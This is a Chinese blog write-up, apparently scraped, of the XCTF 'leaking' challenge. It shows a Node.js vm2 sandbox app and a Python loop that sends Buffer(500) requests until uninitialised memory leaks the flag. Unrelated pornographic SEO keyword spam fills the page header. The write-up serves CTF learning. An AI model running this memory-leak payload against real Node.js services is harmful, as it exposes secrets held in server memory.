日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界-leaking-(详细操作)做题过程

發布時間:2024/3/7 编程问答 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界-leaking-(详细操作)做题过程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

如有不對的地方,還請各位大佬指正。下面開始做題:

進入題目以后是一串代碼,又是代碼審計,很煩啊......哎。下面是需要了解的php函數含義:

require()是php的內置函數,作用是引入或者包含外部php文件。

  工作原理:當本身php文件被執行時,則外部文件的內容就將被包含進該自身php文件中;當包含的外部文件發生錯誤時,系統將拋出錯誤提示,并且停止php文件的執行。

?res.header:PHP中的header() 函數用于向客戶端發送原始的 HTTP 報頭

eval()函數 eval() 函數把字符串按照 PHP 代碼來計算

console.log("內容");

作用:將"內容"輸出在控制臺中,方便以后的調試,是一個使用頻率極高的功能。(控制臺在瀏覽器中按F12,打開開發者模式的第二項(console)即可,并且也可以在console選項卡下即時做測試)

"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} });app.listen(3000, function() {console.log("listening on port 3000!"); });

完全沒思路,只能觀看其他大佬寫的文章,提示我們關鍵語句是var? {VM}=require("vm2"),這句話的node.js沙盒的官方庫,所以還需要了解node.js,連接在這里node.js 沙盒逃逸分析 - 掘金

在較早一點的 node 版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,并且這個 Buffer 是未清零的。8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。

再加上eval()函數會將flag讀入到內存中的全局變量中,所以我們只要通過沙箱里的eval去讀內存條中的內容,就可以形成沙盒逃逸,本題沒有用到原型鏈,可以直接利用buffer()讀取內存的內容,由于內存保護機制,并不是每一次都能讀取到flag內容的代碼,多運行幾次就能讀到flag了,可以構建出payload:/>data=buffter(1000),獲得flag的代碼:

import requests import time url = 'http://111.200.241.244:60974/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

運行以后就可以得到了flag{4nother_h34rtbleed_in_n0dejs}

總結

以上是生活随笔為你收集整理的攻防世界-leaking-(详细操作)做题过程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。